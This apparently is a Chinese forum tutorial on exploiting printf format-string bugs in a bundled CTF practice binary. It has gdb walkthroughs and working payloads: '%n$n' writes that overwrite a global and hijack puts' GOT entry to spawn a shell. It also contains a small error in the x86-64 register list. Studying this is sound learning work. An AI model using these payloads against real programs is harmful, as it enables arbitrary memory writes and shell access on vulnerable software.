关于printf格式化的输出的利用,分为两种读和写。把实践在这里总结一下。
根据例子具体学习一下,这个例子是elf32下的,和在elf64下有一点差异分开来说吧。
这是在ghidra下的反汇编,ghidra很好用,有想尝试的同学可以去试一下。
逻辑上很简单,secret
是一个全局变量,在.bss
里面没有初始化,在看一下give_shell
的定义
give_shell应该相当于一个one_gadget,所以这里的基本第一思路是让secert == 0x539
成立。跳转到give_shell
上。
这里也可以再看一下checksec,
就开了一个NX,在这里并没有影响,跟着思路走,我们需要把secert的覆盖成0x539,那么需要首先拿到secert的地址,在进行写。这里普及下用printf写的过程。
在printf输出格式里面有一个 n$
,可以去指定输出参数。例如%5$d
,会把printf中的format后面第5
个参数以整形的格式输出。printf接受 的是不定参数,参数在栈上按顺序依次取,所以在这里是可以来泄露栈上数据的,那么如何用printf来写呢%n
这个输出格式化用来记录前面有多少位的输出,如何写到后面对应参数里面,所以这里我们可以通过%n$n
进行任意地址写东西。(前面那个n
是指的第几个参数,别弄混)。
这里第一步我们需要找到secert的地址,去看看printf对应的参数栈上有没有我们需要的secert的地址,在ghidra里面找到secert的地址是0804a028
,可以直接去.bss节里去看。
接着拿gdb打印一下printf的参数栈
printf的参数栈,这里停到call print@plt
这一步,看栈的分布,第一个是format的地址,从第二个开始。参数栈分布如下。
可以找到,刚好有我们需要的0x0804a028
,并且处于第七个参数的位置。可以看到这里参数栈的分布是连续的,这是在elf32下printf的特点,后面引申一下elf64下的printf的特点。
所以这里已经可以开始构造了,其实payload也很简单%1337x%7$n
,注意一下main里面是通过参数项获取的输入的,所以这里 ./printf_pwn12 `echo -e '%1337x%7$n'`
便可以转到shell上。
到这里其实已经结束了,但是想搞一些花的,咱们一步一步来。假设secert地址不在栈原本上咋办呢?,这里我们得先把地址写到栈上,然后再用。首先我们要确定通过参数项传入我们的输入在栈上的什么位置。这里先定位一下输入的字符位置在哪。
停到push eax
即format入栈的地方,所以这个eax
包含就是format字符串的位置,如图:
我指定的参数项是aaaaaaaaaaaaaaaaa
,这里eax也指向他的位置为0xffffd44a
,这里需要需要细节主要一下,你如果细心的话会发现这个这个字符串的起始地址,并没有和栈对齐,它的栈的地址的尾数是a
,并不是4
的倍数,所以这个字符串并不在printf参数项里面,而且具体的位置是随着这个字符串的大小变的。如果我们想用这个字符串,必须让他在栈上对齐。
这里有一个小方法,我们依次指定输入为 aaaa
,aaaaa
,aaaaaa
....看它什么时候是对齐的。这里并没有从一个a开始,因为4位以上肯定能覆盖一个单元。这里当输入6个a时aaaaaa
刚好对齐,所有输入的规律应该为
'aaaaaa'+n*4
即后面的数据以4的倍数增长,所以需要根据后面输入情况padding。
这里我们假设的是参数栈上没有secert的地址,所以这里我们要先构造一个secert的地址,然后在用这个构造的secert的地址写。
第一步构造
'\x28\xa0\x04\x08'+'%1333x'+'%100$n'+'aaaaaa'
--secert-address---1337-4-------- -padding---
注意一下padding放在的最后,前面好解,后面这个100
是怎么来的,根据前面我们得到format
的地址0xffffd44a
,和printf,第一个参数的地址0xffffd1a4
,大概计算一下大概相差170
个参数,具体参数偏移需要运行时来确定,所以这里100想当一个占位符,'%1326x'+'%100$n'
这里刚好是12
个字符不需要padding。
第二步,找'\x28\xa0\x04\x08'
是第几个参数。
还是停在最后一个push eax
之前,
可以看到eax为0xffffd444
正确的指向了我们的输入。此时的esp是刚好执行第一个参数的,所以简单计算,\x28\xa0\x04\x08
应该是第173
个参数。接下来我们验证一下对不对,如图成功进入shell。
再进一步来点花的,有没有办法,不修改secert的值也能进入shell呢?如果第一个printf的时候,把got.plt
表里puts地址成give_shell怎么样呢?在调用puts的时候直接进入give_shell,其实这里是不行的,回过头看一下get_shell里面的第一行,又一次调用了puts,这样会造成死循环。虽然本题不行,但是我们还是来说一下怎么修改got.plt
。
我先可以来一下程序是怎样去调用一个函数的,直接看main函数。
gef➤ disas main
Dump of assembler code for function main:
...
0x080484d5 <+65>: sub esp,0xc
0x080484d8 <+68>: push 0x8048590
0x080484dd <+73>: call 0x8048330 <puts@plt>
0x080484e2 <+78>: add esp,0x10
0x080484e5 <+81>: mov eax,0x0
0x080484ea <+86>: mov ecx,DWORD PTR [ebp-0x4]
0x080484ed <+89>: leave
0x080484ee <+90>: lea esp,[ecx-0x4]
0x080484f1 <+93>: ret
End of assembler dump.
看一下调用puts的过程。首先是call 0x8048330
,这个0x8048330
其实是puts在plt
表上的位置。再去看一下0x8048330
是进行的什么过程
gef➤ disas 0x8048330
Dump of assembler code for function puts@plt:
0x08048330 <+0>: jmp DWORD PTR ds:0x804a010
0x08048336 <+6>: push 0x8
0x0804833b <+11>: jmp 0x8048310
End of assembler dump.
第一步是jmp DWORD PTR ds:0x804a010
相当于jmp DWORD PTR 0x804a010
,跟着0x804a010
你会发现这个地方存储是0x08048336
,即下一条指令push 0x8
的地址,这是plt的机制,第一次调用函数时,会跳到plt[0]
,通过动态链接,并patch got.plt
表相应函数的真实地址。具体plt和got知识在这里就介绍都这里。
gef➤ x/1x 0x804a010
0x804a010 <[email protected]>: 0x08048336
所以这里知道了在调用puts的时候,回调到0x804a010
这个地址存储的具体地址下,如果我们把0x804a010
这里地址里面存储的地址换成give_shell不就行了。所以我们的目标是对0x804a010
写入give_shell的地址0x804846b
.这个写入的数据比较大,不像前面的1337
,这里需要分割一下,分割也是有策略。依次从低位写到高位,不能从高位开始写,并且保证写的数据大小也是从小到大。
0x804846b => 0x804 0x84 0x46
第一眼这里可以分成一个2
字节和两个1
字节。而且数据大小也是从下到大,pwntool也有专门分割函数,但是需要自己padding一下,保证对齐,并指定首参数的偏移量。这里完整叙述一下手工怎么拼。
上面分为了3 个部分,首先根据要写入的地址0x804a010
列出这三个地址,从小到大分别为0x804a010
,0x804a011
,0x804a012
,接着直接拼接:
'\x10\xa0\x04\x08'+'\x11\xa0\x04\x08'+'\x12\xa0\x04\x08'+'%95x%173$hhn%25x%174$hhn%1920x%175$nAAAAAA'
从前面知道format的偏移是173
,这是相对的,所以不会改变。这里看见我用了两个%hhn,
%hhn换成
%n也没事,这是只是为了保证
AAAAAA`前面字符串长度是4的倍数。接着我们可以在gdb下试一下,看看调用puts是否跳转到了give_shell上。
可以看到got表上的位置确实变成了give_shell的位置0x0804846b
,可以继续执行一下看看
上面都是elf32 下的printf,在elf64的printf有点不一样,关于参数的寻址是不一样的。去看看printf的具体的结构
gef➤ disas printf
Dump of assembler code for function __printf:
=> 0x00007ffff7e40560 <+0>: sub rsp,0xd8
0x00007ffff7e40567 <+7>: mov QWORD PTR [rsp+0x28],rsi #格式化参数1
0x00007ffff7e4056c <+12>: mov QWORD PTR [rsp+0x30],rdx #格式化参数2
0x00007ffff7e40571 <+17>: mov QWORD PTR [rsp+0x38],rcx #格式化参数3
0x00007ffff7e40576 <+22>: mov QWORD PTR [rsp+0x40],r8 #格式化参数4
0x00007ffff7e4057b <+27>: mov QWORD PTR [rsp+0x48],r9 #格式化参数5
0x00007ffff7e40580 <+32>: test al,al //判断浮点数的个数
0x00007ffff7e40582 <+34>: je 0x7ffff7e405bb <__printf+91>
0x00007ffff7e40584 <+36>: movaps XMMWORD PTR [rsp+0x50],xmm0 |
0x00007ffff7e40589 <+41>: movaps XMMWORD PTR [rsp+0x60],xmm1 |
0x00007ffff7e4058e <+46>: movaps XMMWORD PTR [rsp+0x70],xmm2 |
0x00007ffff7e40593 <+51>: movaps XMMWORD PTR [rsp+0x80],xmm3 |
0x00007ffff7e4059b <+59>: movaps XMMWORD PTR [rsp+0x90],xmm4 |
0x00007ffff7e405a3 <+67>: movaps XMMWORD PTR [rsp+0xa0],xmm5 |
0x00007ffff7e405ab <+75>: movaps XMMWORD PTR [rsp+0xb0],xmm6 |
0x00007ffff7e405b3 <+83>: movaps XMMWORD PTR [rsp+0xc0],xmm7 |
0x00007ffff7e405bb <+91>: mov rax,QWORD PTR fs:0x28
0x00007ffff7e405c4 <+100>: mov QWORD PTR [rsp+0x18],rax
0x00007ffff7e405c9 <+105>: xor eax,eax
0x00007ffff7e405cb <+107>: lea rax,[rsp+0xe0]
0x00007ffff7e405d3 <+115>: mov rsi,rdi
0x00007ffff7e405d6 <+118>: mov rdx,rsp
0x00007ffff7e405d9 <+121>: mov QWORD PTR [rsp+0x8],rax
0x00007ffff7e405de <+126>: lea rax,[rsp+0x20]
0x00007ffff7e405e3 <+131>: mov QWORD PTR [rsp+0x10],rax
0x00007ffff7e405e8 <+136>: mov rax,QWORD PTR [rip+0x162959] # 0x7ffff7fa2f48
0x00007ffff7e405ef <+143>: mov DWORD PTR [rsp],0x8
0x00007ffff7e405f6 <+150>: mov rdi,QWORD PTR [rax]
0x00007ffff7e405f9 <+153>: mov DWORD PTR [rsp+0x4],0x30
0x00007ffff7e40601 <+161>: call 0x7ffff7e379f0 <_IO_vfprintf_internal>
在elf64中函数传参用前六个参数用传参rdi
,rsi
,rax
,rcx
,r8
,r9
,如果多余的就用在call printf之前push到栈里,这里也可以看到,参数栈也不是连续的,同时也保存了xmm
寄存器的状态。所以在计算参数偏移的时候,偏移量应该是5+ (目的地址- ret)/8
,这里需要注意一下。
最近开始从Web转PWN,所以会持续发一些关于PWN的姿势,有兴趣的朋友可以一起学习啊,若有错误欢迎指正,若有问题热烈欢迎来打扰我,我很喜欢写东西,大家可以多关注关注,欢迎大家找我做朋友,想认识更多的人。第一次在新论坛发帖,希望90的明天会更好~!
printf_pwn12.zip (2.7 KB)